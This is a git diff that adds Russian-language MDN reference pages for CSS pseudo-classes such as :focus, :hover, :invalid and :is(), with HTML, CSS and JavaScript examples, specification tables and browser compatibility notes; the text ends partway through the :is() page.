{{EmbedLiveSample("Selectively_showing_the_focus_indicator", "100%", 300)}}

+ +

Polyfill

+ +

You can polyfill :focus-visible using focus-visible.js.

+ +

Accessibility concerns

+ +

Low vision

+ +

Make sure the visual focus indicator can be seen by people with low vision. This will also benefit anyone use a screen in a brightly lit space (like outside in the sun). WCAG 2.1 SC 1.4.11 Non-Text Contrast requires that the visual focus indicator be at least 3 to 1.

+ + + +

Cognition

+ +

It may not be obvious as to why the focus indicator is appearing and disappearing if a person is using mixed forms of input. For users with cognitive concerns, or who are less technologically literate, this lack of consistent behavior for interactive elements may be confusing.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#the-focus-visible-pseudo", ":focus-visible")}}{{Spec2("CSS4 Selectors")}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("css.selectors.focus-visible")}}

+ +

See also

+ + diff --git a/files/ru/web/css/_colon_focus-within/index.html b/files/ru/web/css/_colon_focus-within/index.html new file mode 100644 index 0000000000..139fc9216e --- /dev/null +++ b/files/ru/web/css/_colon_focus-within/index.html @@ -0,0 +1,89 @@ +--- +title: ':focus-within' +slug: 'Web/CSS/:focus-within' +translation_of: 'Web/CSS/:focus-within' +--- +
{{CSSRef}}
+ +

CSS Псевдо-класс :focus-within соответствует элементу, который либо сам находится в фокусе, либо содержит элемент, который находится в фокусе. Другими словами, он представляет элементу, который соответствует псевдоклассу {{CSSxRef(":focus")}} либо имеет потомка, который соответствует :focus. (Включая потомков в shadow trees.)

+ +
/* Выделяет <div> когда один из его потомков находится в фокусе */
+div:focus-within {
+  background: cyan;
+}
+ +

Этот селектор может оказаться полезным, например, для подсвечивания всего контейнера {{HTMLElement("form")}}, когда пользователь устанавливает фокус на одном из его полей ввода {{HTMLElement("input")}}.

+ +

Синтаксис

+ +
{{CSSSyntax}}
+ +

Пример

+ +

В этом примере форма раскрашивается при помощи специального правила стилей, когда один из её дочерних полей для ввода находится в фокусе.

+ +

HTML

+ +
<p>Try typing into this form.</p>
+
+<form>
+  <label for="given_name">Given Name:</label>
+  <input id="given_name" type="text">
+  <br>
+  <label for="family_name">Family Name:</label>
+  <input id="family_name" type="text">
+</form>
+ +

CSS

+ +
form {
+  border: 1px solid;
+  color: gray;
+  padding: 4px;
+}
+
+form:focus-within {
+  background: #ff8;
+  color: black;
+}
+
+input {
+  margin: 4px;
+}
+
+ +

Итог

+ +

{{EmbedLiveSample("Example", 500, 150)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS4 Selectors", "#the-focus-within-pseudo", ":focus-within")}}{{Spec2("CSS4 Selectors")}}Initial definition.
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.selectors.focus-within")}}

+ +

See also

+ + diff --git a/files/ru/web/css/_colon_focus/index.html b/files/ru/web/css/_colon_focus/index.html new file mode 100644 index 0000000000..fb2ecaf22e --- /dev/null +++ b/files/ru/web/css/_colon_focus/index.html @@ -0,0 +1,115 @@ +--- +title: ':focus' +slug: 'Web/CSS/:focus' +tags: + - CSS + - Layout + - Reference + - Web + - Веб + - Псевдо-классы + - Раскладка +translation_of: 'Web/CSS/:focus' +--- +
{{CSSRef}}
+ +

CSS псевдо-класс :focus применяется, когда элемент (такой как input формы) получает фокус. Обычно он активируется при клике мышью пользователем или при выборе элемента с использованием клавиши "tab" на клавиатуре.

+ +
/* Selects any <input> when focused */
+input:focus {
+  color: red;
+}
+ +
+

Примечание: Этот псевдо-класс применяется только тогда, когда в фокусе находится сам элемент. Используйте {{CSSxRef(":focus-within")}}, если вы хотите выбрать элемент, в котором находится сфокусорованный элемент.

+
+ +

Синтаксис

+ +
{{CSSSyntax}}
+ +

Пример

+ +

HTML

+ +
<input class="red-input" value="Я буду красным, если на меня попадёт фокус">
+<input class="lime-input" value="Я буду лаймовым при фокусе">
+ +

CSS

+ +
.red-input:focus {
+  color: red;
+}
+
+.lime-input:focus {
+  color: lime;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Пример', '100%', 40)}}

+ +

Проблемы доступности

+ +

Убедитесь что визуальный индикатор фокусировки хорошо виден людям с плохим зрением. Это также поможет любым другим людям, которые используют экран в ярко освещённом месте (например, на солнце). WCAG 2.1 SC 1.4.11 Non-Text Contrast (WCAG 2.1 SC 1.4.11 Нетекстовой контраст) требует, чтобы контраст визуального индикатора фокуса должен быть не менее 3 к 1.

+ + + +

:focus { outline: none; }

+ +

Никогда не удаляйте фокусный outline (видимый индикатор фокуса), не заменяя его фокусным контуром подходящим под требования WCAG 2.1 SC 1.4.11 Non-Text Contrast

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', 'scripting.html#selector-focus', ':focus')}}{{Spec2('HTML WHATWG')}}Определяет HTML семантику
{{SpecName('CSS4 Selectors', '#focus-pseudo', ':focus')}}{{Spec2('CSS4 Selectors')}}Без изменений
{{SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':focus')}}{{Spec2('CSS3 Selectors')}}Без изменений
{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':focus')}}{{Spec2('CSS2.1')}}Изначальное определение
+ +

Поддержка браузерами

+ +
+ + +

{{Compat("css.selectors.focus")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_fullscreen/index.html b/files/ru/web/css/_colon_fullscreen/index.html new file mode 100644 index 0000000000..68ce93e4cc --- /dev/null +++ b/files/ru/web/css/_colon_fullscreen/index.html @@ -0,0 +1,92 @@ +--- +title: ':fullscreen' +slug: 'Web/CSS/:fullscreen' +tags: + - Верстка + - полноэкранный режим + - псевдокласс + - экран +translation_of: 'Web/CSS/:fullscreen' +--- +
{{CSSRef}}
+ +

CSS Псевдокласс  :fullscreen соответствует элементу, который в данный момент находится в полноэкранном режиме. Если в полноэкранном режиме находятся несколько элементов, то выбираются все они.

+ +

Синтаксис

+ +
{{csssyntax}}
+ +

Примечания по использованию

+ +

Псевдокласс :fullscreen позволяет настроить ваши таблицы стилей для автоматического регулирования размера, стилю или шаблона содержимого, когда элемент переключается между полноэкранным режимом и традиционным представлением.

+ +

Пример

+ +

В этом примере, цвет кнопки меняется в зависимости от того, находится ли документ в полноэкранном режиме. Он выполнен без принудительного изменения стиля посредством JavaScript.

+ +

HTML

+ +

HTML выглядит так:

+ +
<h1>MDN Web Docs Demo: :fullscreen pseudo-class</h1>
+
+<p>This demo uses the <code>:fullscreen</code> pseudo-class to automatically
+  change the style of a button used to toggle full-screen mode on and off,
+  entirely using CSS.</p>
+
+<button id="fs-toggle">Toggle Fullscreen</button>
+ +

{{HTMLElement("button")}} с ID "fs-toggle" будет изменятся между бледно-красный и бледно-зеленый в зависимости от того, находится ли документ в полноэкранном режиме.

+ +

CSS

+ +

Магия происходит в CSS. Используются два правила. Первое устанавливает цвет фона кнопки на "Toggle Full-screen Mode", когда элемент не находится в полноэкранном режиме. Для этого используется ключ :not(:fullscreen), который выглядит как элемент, не имеющий установленного псевдокласса :fullscreen.

+ +
#fs-toggle:not(:fullscreen) {
+  background-color: #afa;
+}
+
+ +

Когда документ находится в полноэкранном режиме, применяется следующее правило CSS, устанавливающее цвет фона на оттенок бледно-красного.

+ +
#fs-toggle:fullscreen {
+  background-color: #faa;
+}
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fullscreen', '#:fullscreen-pseudo-class', ':fullscreen')}}{{Spec2('Fullscreen')}}Первое определение.
+ +

Поддержка браузерами

+ +
+ + +

{{Compat("css.selectors.fullscreen")}}

+
+ +

See also

+ + diff --git a/files/ru/web/css/_colon_has/index.html b/files/ru/web/css/_colon_has/index.html new file mode 100644 index 0000000000..d88e2b9dd9 --- /dev/null +++ b/files/ru/web/css/_colon_has/index.html @@ -0,0 +1,60 @@ +--- +title: ':has()' +slug: 'Web/CSS/:has' +tags: + - CSS + - Псевдоклассы + - Селекторы + - Справка + - Экспериментальная +translation_of: 'Web/CSS/:has' +--- +
{{CSSRef}}
+ +

CSS псевдокласс :has()  отображает элемент в том случае, если любой из селекторов, переданный в качестве параметра (относительно {{cssxref(":scope")}}), соответствует хотя бы одному элементу.

+ +

Псведокласс :has() берет соотвествующий список селекторов в качестве аргумента. В ранней версии спецификации CSS Selectors Level 4, :has имел ограничение, которое не позволяло использовать его в таблицах стилей; только с использованием функций, как например: {{domxref("document.querySelector()")}} (из-за проблем с производительностью). На текущий момент, это ограничение снято, так как ни один из браузеров не реализовал это соответствующим образом.

+ +
/* Выбирает любой тег <a>, если следом за ним находится дочерний элемент <img> */
+/* Отмечу, что это не поддерживается ни одним из браузеров */
+var test = document.querySelector('a:has(> img)');
+ +

Синтаксис

+ +
{{CSSSyntax}}
+ +

Примеры

+ +

Следующий селектор находит только те теги {{HTMLElement("a")}}, которые непосредственно содержат дочерний элемент {{HTMLElement("img")}}:

+ +
a:has(> img)
+
+ +

Следующий селектор находит только те теги {{HTMLElement("h1")}}, при условии, что следом за ними находится элемент {{htmlelement("p")}}:

+ +
h1:has(+ p)
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS4 Selectors", "#relational", ":has()")}}{{Spec2("CSS4 Selectors")}}Начальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.selectors.has")}}

diff --git a/files/ru/web/css/_colon_host()/index.html b/files/ru/web/css/_colon_host()/index.html new file mode 100644 index 0000000000..c570b027a1 --- /dev/null +++ b/files/ru/web/css/_colon_host()/index.html @@ -0,0 +1,87 @@ +--- +title: ':host()' +slug: 'Web/CSS/:host()' +translation_of: 'Web/CSS/:host()' +--- +
{{CSSRef}}
+ +
+ +

CSS функция-псевдокласс  :host() выбирает shadow хоста (носителя) shadow DOM-a, который содержит CSS, используемый внутри (так что вы можете выбрать пользовательский элемент изнутри его shadow DOM) — но только если селектор, переданный как параметр функции, соответствует shadow хосту.

+ +

Самый очевидный способ использовать его — поставить некоторый класс только на определённые экземпляры пользовательских элементов, а затем передать соответствующий классовый селектор как аргумент функции. Вы не можете использовать псевдокласс c селектором наследника, чтобы выбрать только экземпляры пользовательского элемента, которые находятся внутри определённого предка. Это работа {{CSSxRef(":host-context()")}}.

+ +
+

Заметка: Псевдокласс не имеет эффекта вне shadow DOM.

+
+ +
/* Выбирает хоста shadow root, только
+  если он соответствует аргументу селектора */
+:host(.special-custom-element) {
+  font-weight: bold;
+}
+
+ +

Синтаксис

+ +
{{CSSSyntax}}
+ +

Примеры

+ +

Селективная стилизация shadow хостов

+ +

Следующие ниже фрагменты взяты из нашего примера host-selectors (также смотрите вживую).

+ +

В этом примере у нас есть простой пользовательский элемент — <context-span> — который мы оборачиваем вокруг текста:

+ +
<h1>Host selectors <a href="#"><context-span>example</context-span></a></h1>
+ +

Внутри конструктора элемента мы создаём элементы style и span, заполняем span контентом пользовательского элемента и заполняем элемент style CSS правилами:

+ +
let style = document.createElement('style');
+let span = document.createElement('span');
+span.textContent = this.textContent;
+
+const shadowRoot = this.attachShadow({mode: 'open'});
+shadowRoot.appendChild(style);
+shadowRoot.appendChild(span);
+
+style.textContent = 'span:hover { text-decoration: underline; }' +
+                    ':host-context(h1) { font-style: italic; }' +
+                    ':host-context(h1):after { content: " - no links in headers!" }' +
+                    ':host-context(article, aside) { color: gray; }' +
+                    ':host(.footer) { color : red; }' +
+                    ':host { background: rgba(0,0,0,0.1); padding: 2px 5px; }';
+ +

Правило :host(.footer) { color : red; } стилизует все экземпляры элемента <context-span> (shadow хост в данном случае) в документе, которые имеют класс footer — мы использовали его, чтобы дать экземплярам элемента внутри {{htmlelement("footer")}} особый цвет.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS Scope', '#host-selector', ':host()')}}{{Spec2('CSS Scope')}}Initial definition.
+ +

Поддержка браузерами

+ +

{{Compat("css.selectors.hostfunction")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_hover/index.html b/files/ru/web/css/_colon_hover/index.html new file mode 100644 index 0000000000..71e25b7e1b --- /dev/null +++ b/files/ru/web/css/_colon_hover/index.html @@ -0,0 +1,194 @@ +--- +title: ':hover' +slug: 'Web/CSS/:hover' +tags: + - CSS + - Псевдоклассы + - Руководство +translation_of: 'Web/CSS/:hover' +--- +

{{ CSSRef() }}

+ +

Описание

+ +

CSS псевдокласс :hover срабатывает, когда пользователь наводит на элемент мышью, но не обязательно активирует его. Этот стиль может переопределяться другими относящимися к ссылкам псевдоклассами, такими как {{ cssxref(":link") }}, {{ cssxref(":visited") }} и {{ cssxref(":active") }}, появляющимися в соответствующем порядке. Чтобы стилизировать ссылки должным образом, вам нужно вставлять правило :hover до правил :link и :visited, но после :active, как определено в LVHA-порядке: :link — :visited — :hover — :active.

+ +

Псевдокласс :hover может применяться к любому псевдоэлементу. {{experimental_inline}}

+ +

Браузеры, такие как Firefox, Internet Explorer, Safari, Opera или Chrome, применяют соответствующий стиль, когда курсор (указатель мыши) наводится на элемент.

+ +
Замечания по использованию: на сенсорных экранах :hover проблемный или не работает. В зависимости от браузера, псевдокласс :hover может никогда не сработать, или сработать на некоторое время после нажатия на элемента, или может продолжать действовать даже остаться после того, как пользователь коснулся элемента до нажатия на другой элемент. Так как сенсорные устройства очень распространены, то веб-разработчикам очень важно не иметь контент, доступный только при наведении, так как такой контент неудобно или невозможно использовать на таких устройствах.
+ +

Примеры

+ +
:link:hover { outline: dotted red; }
+
+.foo:hover { background: gold; }
+
+ +

Выпадающее меню

+ +

С псевдоклассом :hover вы можете создавать сложные каскадные алгоритмы. Эта техника часто используется, например, чтобы создать выпадающие меню на чистом CSS (только на CSS, без использования JavaScript). Сущность этой техники - создание правил, типа следуюшего:

+ +
div.menu-bar ul ul {
+  display: none;
+}
+
+div.menu-bar li:hover > ul {
+  display: block;
+}
+
+ +

применим к HTML структуре типа следующей:

+ +
<div class="menu-bar">
+  <ul>
+    <li>
+      <a href="example.html">Меню</a>
+      <ul>
+        <li>
+          <a href="example.html">Ссылка</a>
+        </li>
+        <li>
+          <a class="menu-nav" href="example.html">Подменю</a>
+          <ul>
+            <li>
+              <a class="menu-nav" href="example.html">Подменю</a>
+              <ul>
+                <li><a href="example.html">Ссылка</a></li>
+                <li><a href="example.html">Ссылка</a></li>
+                <li><a href="example.html">Ссылка</a></li>
+                <li><a href="example.html">Ссылка</a></li>
+              </ul>
+            </li>
+            <li><a href="example.html">Ссылка</a></li>
+          </ul>
+        </li>
+      </ul>
+    </li>
+  </ul>
+</div>
+
+ +

Смотрите наш полный пример выпадающего меню, основанный на CSS.

+ +

Галерея полноразмерных изображений и превью

+ +

Вы можете использовать псевдокласс :hover, чтобы создать галерею изображений с полноразмерными картинками, показываемыми при наведении на них мыши. Посмотрите это демо.

+ +
Замечания: Для аналагичного эффекта, но основанного на псевдоклассе:checked (применяется к скрытым радиокнопкам), смотрите это демо, взятое со страницы ru/CSS/:checked.
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('HTML WHATWG', 'scripting.html#selector-hover', ':hover') }}{{ Spec2('HTML WHATWG') }} 
{{ SpecName('CSS4 Selectors', '#the-hover-pseudo', ':hover') }}{{ Spec2('CSS4 Selectors') }}Может применяться к любым псевдоэлементам.
{{ SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':hover') }}{{ Spec2('CSS3 Selectors') }}Без значительных изменений.
{{ SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':hover') }}{{ Spec2('CSS2.1') }}Изначальное определение.
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
для <a> элементов0.2{{ CompatGeckoDesktop(1.0) }}4.04.02.0.4 (419)
+ различные ошибки до этой версии
для всех элементов0.2{{ CompatGeckoDesktop(1.0) }}7.07.02.0.4 (419)
+ различные ошибки до этой версии
для псевдоэлементов{{CompatUnknown}}{{ CompatGeckoDesktop(28) }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

В IE8-11, наведя курсор на элемент, прокручивая вверх/вниз, без перемещения курсора, элемент останется в состоянии :hover, пока курсор не передвинут. Смотрите IE баг 926665.

+ +

В IE9 (и возможно ранее), если у {{HTMLElement("table")}} есть родитель с {{cssxref("width")}}, установленной не в auto и {{cssxref("overflow-x")}}: auto;, а у {{HTMLElement("table")}} столько контента, что он переполняет родителя по горизонтали, а также есть {{cssxref(":hover")}} стили, установленные на элементы в таблице, то при наведении на указанные элементы будет увеличиваться высота {{HTMLElement("table")}}. Вот живой пример, которой иллюстрирует этот баг. Один из способов исправления, установление min-height: 0%; на родителя таблицы (должны быть указаны %, 0 и 0px не работают). Баг подняли в jQuery ticket #10854, но его закрыли, так как это не ошибка jQuery.

+ +

На Safari Mobile for iOS 7.1.2, нажатие на кликабельный элемент вызывает переход элемента в состояние :hover,  и элемент остаётся в нём, пока другой элемент не войдёт в состояние :hover.

+ +

Смотрите также:

+ + diff --git a/files/ru/web/css/_colon_in-range/index.html b/files/ru/web/css/_colon_in-range/index.html new file mode 100644 index 0000000000..ed0fc29cf4 --- /dev/null +++ b/files/ru/web/css/_colon_in-range/index.html @@ -0,0 +1,138 @@ +--- +title: ':in-range' +slug: 'Web/CSS/:in-range' +tags: + - CSS + - Псевдоклассы + - Руководство +translation_of: 'Web/CSS/:in-range' +--- +
{{CSSRef}}
+ +
+ +

Описание

+ +

CSS псевдокласс :in-range находит элементы, значение которых соответствует указанному для них диапазону ограничений. Он позволяет странице показывать, когда значение элемента находится в допустимом диапазоне.

+ +
Замечание: этот псевдокласс применяется только к элементам с заданным диапазоном ограничений. При отсутствии такого ограничения, элемент не может быть ни "в зоне допустимых значений", ни "вне диапазона".
+ +

Пример

+ +
+

HTML

+ +
<form action="" id="form1">
+    <ul>Приминаются значения между 1 и 10.
+        <li>
+            <input id="value1" name="value1" type="number" placeholder="1 to 10" min="1" max="10" value="12">
+            <label for="value1">Ваше значение </label>
+        </li>
+</form>
+ +

CSS

+ +
li {
+    list-style: none;
+    margin-bottom: 1em;
+}
+input {
+    border: 1px solid black;
+}
+input:in-range {
+    background-color: rgba(0, 255, 0, 0.25);
+}
+input:out-of-range {
+    background-color: rgba(255, 0, 0, 0.25);
+    border: 2px solid red;
+}
+input:in-range + label::after {
+    content:' НОРМАЛЬНОЕ';
+}
+input:out-of-range + label::after {
+    content:'вне диапозона!';
+}
+
+ +
{{EmbedLiveSample('Пример',600,140)}}
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', 'scripting.html#selector-in-range', ':in-range')}}{{Spec2('HTML WHATWG')}}Определяет, когда :in-range находит элементы вHTML.
{{SpecName('CSS4 Selectors', '#in-range-pseudo', ':in-range')}}{{Spec2('CSS4 Selectors')}}Изначальное определение.
+ +

Поддержка браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Поддержка <input>10.0{{CompatGeckoDesktop("29.0")}}{{CompatNo()}}11.05.2
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Поддержка <input>2.3{{CompatGeckoMobile("16.0")}}{{CompatNo()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_indeterminate/index.html b/files/ru/web/css/_colon_indeterminate/index.html new file mode 100644 index 0000000000..d131eb3888 --- /dev/null +++ b/files/ru/web/css/_colon_indeterminate/index.html @@ -0,0 +1,130 @@ +--- +title: ':indeterminate' +slug: 'Web/CSS/:indeterminate' +tags: + - CSS + - Псевдо-класс + - Разметка +translation_of: 'Web/CSS/:indeterminate' +--- +

{{CSSRef}}

+ +

CSS псевдо-класс :indeterminate находит элементы в неопределённом состоянии.

+ +
/* Выбирает все элементы <input>, которые находятся в неопределенном состоянии */
+input:indeterminate {
+  background: lime;
+}
+ +

Селектор находит следующие элементы:

+ + + +

Синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Чекбокс и радио переключатели

+ +

В этом примере специальные стили применяются к меткам, которые привязаны к неопределенным полям формы.

+ +

HTML

+ +
<div>
+  <input type="checkbox" id="checkbox">
+  <label for="checkbox">Эта метка будет зелёной.</label>
+</div>
+<div>
+  <input type="radio" id="radio">
+  <label for="radio">Эта метка будет зелёной.</label>
+</div>
+ +

CSS

+ +
input:indeterminate + label {
+  background: lime;
+}
+
+ +

JavaScript

+ +
var inputs = document.getElementsByTagName("input");
+
+for (var i = 0; i < inputs.length; i++) {
+  inputs[i].indeterminate = true;
+}
+
+ +

{{EmbedLiveSample('Checkbox_radio_button', 'auto', 50)}}

+ +

Полоса прогресса

+ +

HTML

+ +
<progress>
+
+ +

CSS

+ +
progress {
+  margin: 4px;
+}
+
+progress:indeterminate {
+  opacity: 0.5;
+  background-color: lightgray;
+  box-shadow: 0 0 2px 1px red;
+}
+
+ +

Результат

+ +

{{EmbedLiveSample('Progress_bar', 'auto', 30)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#selector-indeterminate', ':indeterminate')}}{{Spec2('HTML WHATWG')}}Нет изменений.
{{SpecName('HTML5 W3C', '#selector-indeterminate', ':indeterminate')}}{{Spec2('HTML5 W3C')}}Определение семантики HTML и проверки.
{{SpecName('CSS4 Selectors', '#indeterminate', ':indeterminate')}}{{Spec2('CSS4 Selectors')}}Нет изменений.
{{SpecName('CSS3 Basic UI', '#indeterminate', ':indeterminate')}}{{Spec2('CSS3 Basic UI')}}Определён псевдо-класс, но не семантика.
+ +

Поддержка браузерами

+ +
+ + +

{{Compat("css.selectors.indeterminate")}}

+
diff --git a/files/ru/web/css/_colon_invalid/index.html b/files/ru/web/css/_colon_invalid/index.html new file mode 100644 index 0000000000..3c8c6c3051 --- /dev/null +++ b/files/ru/web/css/_colon_invalid/index.html @@ -0,0 +1,186 @@ +--- +title: ':invalid' +slug: 'Web/CSS/:invalid' +tags: + - Псевдо-классы +translation_of: 'Web/CSS/:invalid' +--- +

{{ CSSRef() }}

+ +

Описание

+ +

CSS псевдо-класс :invalid находит любые {{ HTMLElement("input") }} или {{ HTMLElement("form") }} элементы, контент которых не проходит валидацию, в соответствии с типом поля. Он позволяет вам легко менять внешний вид полей, что позволяет пользователю видеть и исправлять ошибки.

+ +

По умолчанию, Gecko не применяет стили к псевдо-классу :invalid. Однако, применяет стили (красное "свечение", используя свойство {{ Cssxref("box-shadow") }}) к псевдо-классу {{ Cssxref(":-moz-ui-invalid") }}, который применяется в подгруппе случаев для :invalid.

+ +

Вы можете отключить свечение, используя следующий CSS или полностью изменить внешний вид некорректных полей.

+ +
:invalid {
+  box-shadow: none;
+}
+
+:-moz-submit-invalid {
+  box-shadow: none;
+}
+
+:-moz-ui-invalid {
+  box-shadow:none;
+}
+
+ +

Замечания

+ +

Радиокнопки

+ +

Если любая из радиокнопок в группе (т.е., с одинаковым атрибутом name) имеет атрибут required, псевдо-класс :invalid применяется ко всем из них, если ни одна из кнопок группы не выбрана.

+ +

Пример

+ +

Этот пример представляет собой простую форму, цвета элементов которой зелёные, когда данные корректные, и красные, когда нет.

+ +

HTML

+ +
<form>
+  <label>Введите URL:</label>
+  <input type="url" />
+  <br />
+  <br />
+  <label>Введите эл. почту:</label>
+  <input type="email" required/>
+</form>
+ +

CSS

+ +
input:invalid {
+  background-color: #ffdddd;
+}
+
+form:invalid {
+  border: 5px solid #ffdddd;
+}
+
+input:valid {
+  background-color: #ddffdd;
+}
+
+form:valid {
+  border: 5px solid #ddffdd;
+}
+
+input:required {
+  border-color: #800000;
+  border-width: 3px;
+}
+ +

{{ EmbedLiveSample('Example2',600,150) }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('HTML WHATWG', '#selector-invalid', ':invalid') }}{{ Spec2('HTML WHATWG') }}Без изменений.
{{ SpecName('HTML5 W3C', '#selector-invalid', ':invalid') }}{{ Spec2('HTML5 W3C') }}Определяет семантику в HTML и ограничения проверки.
{{ SpecName('CSS4 Selectors', '#validity-pseudos', ':invalid') }}{{ Spec2('CSS4 Selectors') }}Без изменений.
{{ SpecName('CSS3 Basic UI', '#pseudo-validity', ':invalid') }}{{ Spec2('CSS3 Basic UI') }}Определяет псевдо-класс, но не семантику.
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка ({{ HTMLElement("input") }})10.0{{ CompatGeckoDesktop("2") }}1010.05.0
Применяется к {{ HTMLElement("form") }}{{ CompatUnknown() }}{{ CompatGeckoDesktop("13") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{ CompatGeckoMobile("2") }}{{ CompatNo() }}10.05.0
Применяется к {{ HTMLElement("form") }}{{ CompatUnknown() }}{{ CompatGeckoMobile("13") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Смотрите также

+ + + +

{{ languages( { "fr": "fr/CSS/:invalid" }) }}

diff --git a/files/ru/web/css/_colon_is/index.html b/files/ru/web/css/_colon_is/index.html new file mode 100644 index 0000000000..57985074be --- /dev/null +++ b/files/ru/web/css/_colon_is/index.html @@ -0,0 +1,249 @@ +--- +title: ':is() (:matches(), :any())' +slug: 'Web/CSS/:is' +translation_of: 'Web/CSS/:is' +--- +

{{CSSRef}}{{SeeCompatTable}}

+ +
+

Примечание: :matches() был переименован в :is() в CSSWG issue #3258.

+
+ +

:is() это функция псевдо-класс CSS принимающая список селекторов как аргумент, и выбирает любой элемент, который может быть выбран одним из селекторов в этом списке. Это полезно при переписи огромных селекторов в более компактную форму.

+ +

Заметьте, что в данный момент бразуеры поддерживают ее функционал как :matches(), или даже как более старый, префиксный псевдо-класс — :any(), включая старые версии Chrome, Firefox, и Safari. :any() работает точно таким же образом как и :matches()/:is(), за исключением того, что  :any() требует постановку префиксов и не поддерживает комплексные селекторы.

+ +
/* Выбирает какой-либо абзац в шапке, основной части или подвале, который зависал */
+:is(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+/* Пример приведенный выше эквивалентен следующему */
+header p:hover,
+main p:hover,
+footer p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+/* Обратно-совместимая версия с:-*-any() и :matches()
+   (Это невозможно сгруппировать селекторы в одно правило,
+    так как присутствие одного неверного селектора аннулирует все правило.) */
+:-webkit-any(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+:-moz-any(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+:matches(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+ +

Синтаксис

+ +
{{CSSSyntax}}
+ +

Примеры

+ +

Кроссбраузерный пример

+ +
<header>
+  <p>Это мой параграф в шапке</p>
+</header>
+
+<main>
+  <ul>
+    <li><p>Это первый</p><p>пункт списка</p></li>
+    <li><p>Это второй</p><p>пункт списка</p></li>
+  </ul>
+</main>
+
+<footer>
+  <p>Это мой параграф в подвале</p>
+</footer>
+ +
:-webkit-any(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+:-moz-any(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+:matches(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+:is(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+ +
let matchedItems;
+
+try {
+  matchedItems = document.querySelectorAll(':is(header, main, footer) p');
+} catch(e) {
+  try {
+    matchedItems = document.querySelectorAll(':matches(header, main, footer) p');
+  } catch(e) {
+    try {
+      matchedItems = document.querySelectorAll(':-webkit-any(header, main, footer) p');
+    } catch(e) {
+      try {
+        matchedItems = document.querySelectorAll(':-moz-any(header, main, footer) p');
+      } catch(e) {
+        console.log('Your browser doesn\'t support :is(), :matches(), or :any()');
+      }
+    }
+  }
+}
+
+matchedItems.forEach(applyHandler);
+
+function applyHandler(elem) {
+  elem.addEventListener('click', function(e) {
+    alert('This paragraph is inside a ' + e.target.parentNode.nodeName);
+  });
+}
+ +

{{EmbedLiveSample("Cross-browser_example", "100%", 300)}}

+ +

Упрощение списка селекторов

+ +

Псевдо-класс :is() может великолепно упрощать ваши CSS селекторы. К примеру, следующий CSS:

+ +
/* 3-уровневые (или более) неупорядоченные списки используют свойство square */
+ol ol ul,     ol ul ul,     ol menu ul,     ol dir ul,
+ol ol menu,   ol ul menu,   ol menu menu,   ol dir menu,
+ol ol dir,    ol ul dir,    ol menu dir,    ol dir dir,
